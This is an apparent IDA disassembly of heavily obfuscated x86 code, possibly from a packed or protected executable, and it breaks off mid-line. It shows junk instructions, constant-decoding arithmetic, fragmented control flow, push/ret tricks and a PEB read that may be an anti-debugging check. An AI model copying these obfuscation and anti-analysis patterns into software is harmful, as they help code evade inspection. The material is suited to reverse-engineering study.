; [00000001 BYTES: COLLAPSED FUNCTION nullsub_89. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EECC loc_428165: ; CODE XREF: sub_42EECC+Ej jmp nullsub_212 ; END OF FUNCTION CHUNK FOR sub_42EECC ; --------------------------------------------------------------------------- loc_42816A: ; CODE XREF: wto1jq8f:00427767j jmp loc_424294 ; --------------------------------------------------------------------------- xor edx, ecx jmp sub_425C40 ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_162. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_428179: ; CODE XREF: sub_426C0C+58A2j jmp loc_428700 ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262CE loc_42817E: ; CODE XREF: sub_4262CE+170Fj jmp loc_424154 ; END OF FUNCTION CHUNK FOR sub_4262CE ; =============== S U B R O U T I N E ======================================= sub_428183 proc near ; CODE XREF: sub_42E833-9990j ; sub_42F614-98AAp ... js sub_42CED1 push offset sub_42D13F jmp nullsub_25 sub_428183 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B276 loc_428193: ; CODE XREF: sub_42B276+446Aj sbb ebx, edi ror esi, 15h sub edi, ebx loc_42819A: ; CODE XREF: sub_42B276:loc_429D43j call nullsub_2 retn ; END OF FUNCTION CHUNK FOR sub_42B276 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EADC loc_4281A1: ; CODE XREF: sub_42EADC+1j jmp loc_42EC51 ; END OF FUNCTION CHUNK FOR sub_42EADC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426950 loc_4281A6: ; CODE XREF: sub_426950+4440j jmp loc_42B69D ; END OF FUNCTION CHUNK FOR sub_426950 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B276 loc_4281AB: ; CODE XREF: sub_42B276:loc_426281j ; sub_42B276:loc_428E35j push offset loc_429CD7 jmp nullsub_90 ; END OF FUNCTION CHUNK FOR sub_42B276 ; --------------------------------------------------------------------------- mov eax, [ebp-0Ch] cmp eax, ds:dword_42F1D4 jz loc_4245A9 push 0AC761955h pop eax xor eax, 0AAB6C12Fh jmp loc_42D612 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_4281D5: ; CODE XREF: sub_42A6CD:loc_42828Aj ; sub_42A6CD-1DC0j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42A6CD ; --------------------------------------------------------------------------- loc_4281D8: ; CODE XREF: wto1jq8f:004289B5j jmp loc_4261C7 ; =============== S U B R O U T I N E ======================================= sub_4281DD proc near ; CODE XREF: sub_429D2E:loc_426A0Fj ; wto1jq8f:0042B9DBp ... ; FUNCTION CHUNK AT 004278EB SIZE 00000009 BYTES jno sub_42EFB5 push ebp mov ebp, esp call sub_4280E6 loc_4281EB: ; CODE XREF: sub_42F5E5+6C2j jmp loc_4278EB sub_4281DD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C859 loc_4281F0: ; CODE XREF: sub_42C859+4j jmp loc_42B1AF ; END OF FUNCTION CHUNK FOR sub_42C859 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A3DA loc_4281F5: ; CODE XREF: sub_42A3DA-5942j jmp loc_42CD1E ; END OF FUNCTION CHUNK FOR sub_42A3DA ; --------------------------------------------------------------------------- xor edi, ebp jmp sub_42419B ; --------------------------------------------------------------------------- loc_428201: ; CODE XREF: wto1jq8f:00429CC2j push ebx push 9AFC8632h pop ebx rol ebx, 17h add ebx, 97F2B4C8h add eax, ebx jmp loc_42FCF4 ; --------------------------------------------------------------------------- cmp edi, esi jmp loc_42E4D5 ; =============== S U B R O U T I N E ======================================= sub_42821F proc near ; CODE XREF: sub_429E77:loc_42451Dp ; wto1jq8f:0042C970j arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 004287B0 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0042E44F SIZE 00000005 BYTES mov [esp+0], edi pop edi xor ecx, 2FA80D1Dh popf jmp loc_42E44F sub_42821F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D434 loc_42822F: ; CODE XREF: sub_42D434-3132j popf loc_428230: ; CODE XREF: sub_42D434:loc_42A2F0j rol eax, 1Dh add eax, 4F273149h jmp loc_42DAD0 ; END OF FUNCTION CHUNK FOR sub_42D434 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_99. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FBFD loc_42823F: ; CODE XREF: sub_42FBFD+Ej jmp loc_42EA4D ; END OF FUNCTION CHUNK FOR sub_42FBFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425E35 loc_428244: ; CODE XREF: sub_425E35+9657j jnz loc_42F9B4 call sub_42B5D9 loc_42824F: ; CODE XREF: sub_42AECE-3D93j jmp loc_42E69B ; END OF FUNCTION CHUNK FOR sub_425E35 ; --------------------------------------------------------------------------- loc_428254: ; CODE XREF: wto1jq8f:0042BF5Bj jns loc_42793B ; =============== S U B R O U T I N E ======================================= sub_42825A proc near ; CODE XREF: sub_42AA68-5E7p xchg edi, [esp+0] pop edi push 0 push offset loc_42F011 jmp nullsub_26 sub_42825A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42826A proc near ; DATA XREF: sub_4294C7+1o var_20 = byte ptr -20h ; FUNCTION CHUNK AT 0042EDCB SIZE 00000011 BYTES xchg ebp, ecx mov ebp, esp jb sub_42B68E add esp, 0FFFFFFE0h lea eax, [ebp+var_20] jmp loc_42EDCB sub_42826A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_42827F: ; CODE XREF: sub_429471:loc_4288F7j mov [esi], eax shr ebx, 12h jmp sub_42B705 ; END OF FUNCTION CHUNK FOR sub_429471 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_129. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_42828A: ; CODE XREF: sub_42A6CD:loc_428D1Dj jz loc_4281D5 jmp loc_428905 ; END OF FUNCTION CHUNK FOR sub_42A6CD ; =============== S U B R O U T I N E ======================================= sub_428295 proc near ; CODE XREF: sub_42776C+1p ; wto1jq8f:0042C824j ; FUNCTION CHUNK AT 0042E989 SIZE 00000005 BYTES mov [esp+0], ebx pop ebx mov ebp, esp jnz sub_42E460 jmp loc_42E989 sub_428295 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4282A6 proc near ; CODE XREF: wto1jq8f:00426D2Cj ; sub_42EFB5:loc_427DFFp ; FUNCTION CHUNK AT 0042E68C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FFA6 SIZE 0000000F BYTES xchg edx, [esp+0] pop edx push ecx push 36A78EBAh jmp loc_42FFA6 sub_4282A6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_4282B5: ; CODE XREF: sub_426535:loc_42A1BDj push 288C2526h jmp loc_4283AE ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_4282BF: ; CODE XREF: wto1jq8f:0042883Aj sub ebp, edi ; =============== S U B R O U T I N E ======================================= sub_4282C1 proc near ; CODE XREF: sub_42FFDE:loc_425B1Ap arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00424211 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042841A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042A337 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042B0C8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042D3C6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DA4D SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042DFFC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042E132 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042E850 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042FAC5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FE3E SIZE 0000000E BYTES mov [esp+0], ebx pop ebx inc dword ptr [ebp-4] mov eax, [ebp+8] mov eax, [eax-10h] shr eax, 6 jmp loc_424211 sub_4282C1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_4282D6: ; CODE XREF: sub_42EDB9-4A38j push 0E4A4295Dh loc_4282DB: ; CODE XREF: sub_42EDB9:loc_42A373j add eax, 6383F92Ah call sub_42D1A8 loc_4282E6: ; CODE XREF: wto1jq8f:00429A8Ej jmp loc_425E60 ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; =============== S U B R O U T I N E ======================================= sub_4282EB proc near ; CODE XREF: wto1jq8f:00429848p ; wto1jq8f:0042EFD1j xchg esi, [esp+0] pop esi call sub_428183 sub_4282EB endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_428310 loc_4282F4: ; CODE XREF: sub_428310:loc_42DFACj push offset loc_427762 jmp nullsub_118 ; END OF FUNCTION CHUNK FOR sub_428310 ; =============== S U B R O U T I N E ======================================= sub_4282FE proc near ; CODE XREF: wto1jq8f:00427E15j ; sub_42C6C3+1162p ; FUNCTION CHUNK AT 00425F84 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00426B5D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426DFC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427074 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427F6C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004287FD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A425 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042B168 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B24D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042CCED SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042D520 SIZE 0000000B BYTES xchg edx, [esp+0] pop edx mov [ebp-4], eax inc dword ptr [ebp-0Ch] dec dword ptr [ebp-18h] jmp loc_4287FD sub_4282FE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428310 proc near ; CODE XREF: sub_425EA8+7p ; wto1jq8f:00429A75j ; FUNCTION CHUNK AT 004282F4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042DFAC SIZE 00000005 BYTES mov [esp+0], esi pop esi mov eax, 52h call sub_428183 jmp loc_42DFAC sub_428310 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426144 loc_428323: ; CODE XREF: sub_426144:loc_428361j push offset loc_42BC10 loc_428328: ; CODE XREF: sub_426535:loc_42EE43j jmp loc_42CB08 ; END OF FUNCTION CHUNK FOR sub_426144 ; --------------------------------------------------------------------------- loc_42832D: ; CODE XREF: wto1jq8f:0042410Dj jnz loc_426002 ; =============== S U B R O U T I N E ======================================= sub_428333 proc near ; CODE XREF: sub_4272F3-18CCp arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00424CA9 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042869C SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0042A12B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AA44 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AFBF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042C3FE SIZE 00000005 BYTES xchg edx, [esp+0] pop edx test eax, ecx pop ecx jz loc_424CA9 mov eax, 62h jmp loc_42A12B sub_428333 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42834A: ; CODE XREF: sub_4244EA+B21Aj adc ebx, eax ; END OF FUNCTION CHUNK FOR sub_4244EA ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42834C: ; CODE XREF: sub_42E9E8:loc_42B952j call sub_424585 mov edx, 0C231F698h push ebx jmp loc_4241ED ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- jmp loc_42A812 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426144 loc_428361: ; CODE XREF: wto1jq8f:004240C8j ; sub_42C486:loc_425E55j ... jz loc_428323 mov eax, large fs:30h add eax, 54h mov eax, [eax] or eax, eax jmp loc_42431F ; END OF FUNCTION CHUNK FOR sub_426144 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F7A loc_42837A: ; CODE XREF: sub_424F7A:loc_425BF8j push eax push ecx push 0CAB5A9E0h mov ecx, offset loc_42838F xchg ecx, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_424F7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E337 loc_42838A: ; CODE XREF: sub_42E337+156Bj jmp nullsub_179 ; END OF FUNCTION CHUNK FOR sub_42E337 ; --------------------------------------------------------------------------- loc_42838F: ; DATA XREF: sub_424F7A+3407o add ecx, 358CD600h jmp loc_42E712 ; --------------------------------------------------------------------------- loc_42839A: ; CODE XREF: wto1jq8f:loc_429CA3j add [esi], eax push edi push 0AB12B42Ah pop edi xor edi, 0ABED4B2Dh jmp loc_42AB93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_4283AE: ; CODE XREF: sub_426535+1D85j not ebx shr ebx, 18h mov eax, [ebp+0] sub esi, ebp jmp loc_42C172 ; --------------------------------------------------------------------------- loc_4283BD: ; CODE XREF: sub_426535:loc_426545j cmp dword ptr [ebp-4], 3 jnz loc_42C172 jmp loc_42FB48 ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_4283CC proc near ; DATA XREF: wto1jq8f:00426B7Eo ; FUNCTION CHUNK AT 00424728 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426159 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427906 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427B16 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00428B81 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042A77F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C975 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042CA43 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042D60D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EF0E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F0FE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042F8EB SIZE 00000005 BYTES cmp eax, 0C3C033h jnz loc_42A77F jmp loc_427906 sub_4283CC endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4283DC: ; CODE XREF: wto1jq8f:loc_4269EAj jnb loc_429DDE popf mov edi, 85BA8EC4h or ebp, esi jmp loc_42C8D1 ; --------------------------------------------------------------------------- locret_4283EF: ; CODE XREF: wto1jq8f:0042D573j retn ; --------------------------------------------------------------------------- loc_4283F0: ; CODE XREF: wto1jq8f:0042454Fj ; wto1jq8f:loc_427B8Aj push offset sub_42E369 jmp loc_42CC5B ; --------------------------------------------------------------------------- ror eax, 1Bh jmp sub_42AC24 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_242. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CF6A loc_428403: ; CODE XREF: sub_42CF6A-6F45j jmp nullsub_137 ; END OF FUNCTION CHUNK FOR sub_42CF6A ; --------------------------------------------------------------------------- loc_428408: ; CODE XREF: wto1jq8f:004285C4j call sub_42CB36 test al, al jz loc_42AE32 jmp loc_427B56 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282C1 loc_42841A: ; CODE XREF: sub_4282C1:loc_42FAC5j push esi jmp loc_42B0C8 ; END OF FUNCTION CHUNK FOR sub_4282C1 ; --------------------------------------------------------------------------- push 0A6B9B56Eh pop edx call sub_42C1EE loc_42842B: ; DATA XREF: sub_42D322:loc_429857o ror eax, 3 push eax retn ; =============== S U B R O U T I N E ======================================= sub_428430 proc near ; CODE XREF: sub_42FACF+3p ; FUNCTION CHUNK AT 0042A7DD SIZE 00000005 BYTES push ebp jmp loc_42A7DD sub_428430 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_428436: ; CODE XREF: sub_426E98+24F3j push ecx push 8F202182h pop ecx or ecx, 0E4F1861Fh sub ecx, 0BC3724F2h add ecx, 0CC885A9Ch jmp near ptr dword_4254D8+30h ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D434 loc_428454: ; CODE XREF: sub_42D434:loc_427F29j call sub_428BA9 loc_428459: ; CODE XREF: sub_42F776+13j test eax, 20000000h jmp loc_42A2F0 ; END OF FUNCTION CHUNK FOR sub_42D434 ; --------------------------------------------------------------------------- shl ebp, 6 jmp loc_426EA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42596F loc_42846C: ; CODE XREF: sub_42596F:loc_42597Bj call sub_42D765 retn ; END OF FUNCTION CHUNK FOR sub_42596F ; --------------------------------------------------------------------------- loc_428472: ; CODE XREF: wto1jq8f:loc_42ECB4j ; wto1jq8f:0042ECCCj call sub_42CB36 test al, al jz loc_42F4B0 jmp loc_426432 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426950 loc_428484: ; CODE XREF: sub_426950+2DA1j mov ebp, ebx pop ebx mov eax, ds:dword_42CAEC or eax, eax jmp loc_42BB0D ; END OF FUNCTION CHUNK FOR sub_426950 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F185 loc_428494: ; CODE XREF: sub_42F185:loc_42AF7Dj push offset loc_42B484 jmp sub_429E0C ; END OF FUNCTION CHUNK FOR sub_42F185 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42849E: ; CODE XREF: sub_42E9E8-38FFj mov [ebp+0], edx loc_4284A1: ; CODE XREF: sub_42E9E8:loc_42A4EFj call sub_42DEFF loc_4284A6: ; CODE XREF: wto1jq8f:loc_4262B0j ; sub_42606D:loc_42B507j or ecx, 0A102C815h xor ecx, 90011067h add ecx, ebp add ecx, 0C0C9225Ah mov [ecx], edx xchg edx, [esp+0] push offset loc_42FD42 jmp nullsub_150 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260DB loc_4284C9: ; CODE XREF: sub_4260DB+7479j jz loc_4288B6 ; END OF FUNCTION CHUNK FOR sub_4260DB ; START OF FUNCTION CHUNK FOR sub_429318 loc_4284CF: ; CODE XREF: sub_429318+Dj jmp loc_42BB82 ; END OF FUNCTION CHUNK FOR sub_429318 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_4284D4: ; CODE XREF: sub_42E9E8-7E08j jmp loc_42D949 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ror edx, 15h jmp loc_42EFDF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB49 loc_4284E1: ; CODE XREF: sub_42CB49-23ACj ja loc_426CD4 jmp loc_425019 ; END OF FUNCTION CHUNK FOR sub_42CB49 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4284EC proc near ; CODE XREF: sub_42A202+5p ; FUNCTION CHUNK AT 00424E7B SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00425FF1 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 004287E6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A18C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A7D3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042ACCA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B599 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042E6E6 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042FF18 SIZE 0000000C BYTES push ebp mov ebp, esp push ecx mov esp, ebp pop ebp push 254E0F03h pop eax rol eax, 18h jmp loc_42E6E6 sub_4284EC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428501 proc near ; CODE XREF: sub_42F5E5+7p ; FUNCTION CHUNK AT 0042CF20 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F2C2 SIZE 00000005 BYTES mov [esp+0], ecx push edx jnb sub_42A5BE push esi jmp loc_42CF20 sub_428501 endp ; --------------------------------------------------------------------------- loc_428511: ; CODE XREF: wto1jq8f:loc_427D26j and esi, 0D59B8B5Ah add esi, 0EC3EE905h xchg esi, [esp] jmp sub_42A56D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F25F loc_428525: ; CODE XREF: sub_42F25F:loc_42F0ACj push 65723B39h pop esi loc_42852B: ; CODE XREF: wto1jq8f:loc_42B98Aj add esi, 926FD287h and esi, 0A183C09Bh add esi, 5EC086A5h call sub_4292AD loc_428542: ; DATA XREF: wto1jq8f:0042BDDAo add eax, 234F146Bh call sub_428183 jmp loc_428DCB ; END OF FUNCTION CHUNK FOR sub_42F25F ; --------------------------------------------------------------------------- loc_428552: ; CODE XREF: wto1jq8f:00427F84j jnz loc_42ECC5 call sub_42CB36 test al, al jmp loc_42ECB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BD4 loc_428564: ; CODE XREF: sub_424BD4j ; sub_42C4E2-2140j cmp dword ptr [ebp-10h], 1 jnz loc_426758 mov eax, [ebp+8] mov eax, [eax-8] or eax, 8 or eax, 10h jmp loc_42793B ; END OF FUNCTION CHUNK FOR sub_424BD4 ; --------------------------------------------------------------------------- loc_42857F: ; CODE XREF: wto1jq8f:004243D2j jnz loc_429990 jmp loc_42EF86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42970D loc_42858A: ; CODE XREF: sub_42970D:loc_42F9D7j push 724396AFh pop eax add eax, 8DFF3F19h mov eax, [eax] jmp loc_42A980 ; END OF FUNCTION CHUNK FOR sub_42970D ; =============== S U B R O U T I N E ======================================= sub_42859D proc near ; CODE XREF: wto1jq8f:0042CC55j ; sub_42D69D+829p arg_0 = dword ptr 4 mov [esp+0], esi pop esi add edx, 0ED3A4838h xchg edx, [esp-4+arg_0] jmp sub_429165 sub_42859D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4285AF proc near ; CODE XREF: sub_425AAA+3j ; FUNCTION CHUNK AT 0042A027 SIZE 00000005 BYTES add esp, 0FFFFFFCCh lea eax, sub_4266EF push offset loc_428C82 jmp loc_42A027 sub_4285AF endp ; --------------------------------------------------------------------------- test al, al jz loc_428408 call nullsub_242 retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_4285D0: ; CODE XREF: sub_42A6CD+24Fj jmp loc_424C2E ; END OF FUNCTION CHUNK FOR sub_42A6CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_4285D5: ; CODE XREF: sub_42A909-3359j jmp loc_425098 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4293FF loc_4285DA: ; CODE XREF: sub_4293FF:loc_42BCCFj ; sub_4293FF+586Aj push offset sub_42E83D jmp loc_42DFDB ; END OF FUNCTION CHUNK FOR sub_4293FF ; --------------------------------------------------------------------------- loc_4285E4: ; CODE XREF: wto1jq8f:004274A8j add ebx, 0EA24669Ch popf ; START OF FUNCTION CHUNK FOR sub_42727F loc_4285EB: ; CODE XREF: sub_42727F:loc_427499j xor ecx, 7864812Bh add ecx, ebp push ebx push 9AD0926Eh pop ebx xor ebx, 2CA61C8Ah jmp loc_42EAB0 ; END OF FUNCTION CHUNK FOR sub_42727F ; --------------------------------------------------------------------------- loc_428605: ; CODE XREF: wto1jq8f:loc_427153j add eax, [ebp-4] xor edx, edx push edx jmp loc_426341 ; --------------------------------------------------------------------------- loc_428610: ; CODE XREF: wto1jq8f:loc_42730Ej add eax, [esp] ; START OF FUNCTION CHUNK FOR sub_42F25F loc_428613: ; CODE XREF: sub_42F25F:loc_426D99j adc edx, [esp+arg_0] add esp, 8 jmp loc_42AACF ; END OF FUNCTION CHUNK FOR sub_42F25F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_45. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA68 loc_428620: ; CODE XREF: sub_42AA68+417Cj jmp loc_42BCF7 ; END OF FUNCTION CHUNK FOR sub_42AA68 ; --------------------------------------------------------------------------- loc_428625: ; CODE XREF: wto1jq8f:loc_4271E2j jz loc_42E986 jmp loc_42F4AA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_211. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_428631: ; CODE XREF: wto1jq8f:0042D62Ej jnz loc_427630 jmp loc_424795 ; --------------------------------------------------------------------------- loc_42863C: ; CODE XREF: wto1jq8f:00425AF4j cmp ebp, ecx jmp loc_42B056 ; --------------------------------------------------------------------------- loc_428643: ; CODE XREF: wto1jq8f:0042AE3Fj shr esi, 8 cmp ecx, 8589575Dh jmp loc_4289BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_428651: ; CODE XREF: sub_426535+91C0j jns loc_42DB24 xor esi, 7D9D9409h loc_42865D: ; CODE XREF: sub_42F863+9j add ecx, ebp loc_42865F: ; CODE XREF: sub_426535:loc_42A5A8j push offset loc_428FD1 jmp loc_42DC4D ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_428669: ; CODE XREF: sub_42E9E8:loc_428ECCj add ebx, 1FC93968h xor ebx, 511938CDh sub eax, ebx pop ebx push ebp mov [esp+8+var_8], eax pushf push 0CD3F662Ah jmp loc_4247FF ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260A9 loc_428688: ; CODE XREF: sub_4260A9+8C06j jmp loc_429861 ; END OF FUNCTION CHUNK FOR sub_4260A9 ; --------------------------------------------------------------------------- loc_42868D: ; CODE XREF: wto1jq8f:0042CBA6j jmp loc_42E629 ; --------------------------------------------------------------------------- jmp loc_42BFF5 ; --------------------------------------------------------------------------- jmp loc_42D487 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428333 loc_42869C: ; CODE XREF: sub_428333:loc_424CA9j test eax, 2 jz loc_4272DE mov eax, 63h push ebx push 10EDE9B0h pop ebx add ebx, 0EF54BCD4h jmp loc_42C3FE ; END OF FUNCTION CHUNK FOR sub_428333 ; --------------------------------------------------------------------------- cdq jo loc_424ACE jmp sub_429459 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FAE4 loc_4286CA: ; CODE XREF: sub_42FAE4:loc_42C0C8j cmp edi, ebx pop ebx jbe loc_4248DF jmp loc_42E41F ; END OF FUNCTION CHUNK FOR sub_42FAE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A8D loc_4286D8: ; CODE XREF: sub_427A8D+6EA7j js loc_42CEF5 xor ecx, 9C47DFF0h mov [eax], esi push ecx jmp loc_4292D5 ; END OF FUNCTION CHUNK FOR sub_427A8D ; --------------------------------------------------------------------------- loc_4286EC: ; DATA XREF: sub_4269EF+1o mov ebp, esp push ecx push 0E2FD3E9h xor dword ptr [esp], 8E2FD3E9h jmp loc_42A4C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_428700: ; CODE XREF: sub_426C0C:loc_428179j jnz loc_42E294 jmp loc_429C74 ; --------------------------------------------------------------------------- loc_42870B: ; CODE XREF: sub_426C0C:loc_42F4F4j cmp dword ptr [ebp-4], 7 jnz loc_42E294 jmp loc_42C3F8 ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- add edx, 4C907BEBh jmp sub_42C031 ; --------------------------------------------------------------------------- push eax rol eax, 14h mov ds:dword_42956C, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B1 loc_428730: ; CODE XREF: sub_42F25F:loc_42B55Aj ; sub_4266B1+6104j ror eax, 14h push eax call sub_42D765 jmp nullsub_161 ; END OF FUNCTION CHUNK FOR sub_4266B1 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42873E proc near ; DATA XREF: sub_427F4E+8o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042B8DE SIZE 00000005 BYTES push ebx xchg ebp, ebx mov ebp, esp push 688E182Fh mov [esp+4+var_4], ecx push offset sub_42655A jmp loc_42B8DE sub_42873E endp ; =============== S U B R O U T I N E ======================================= sub_428755 proc near ; CODE XREF: 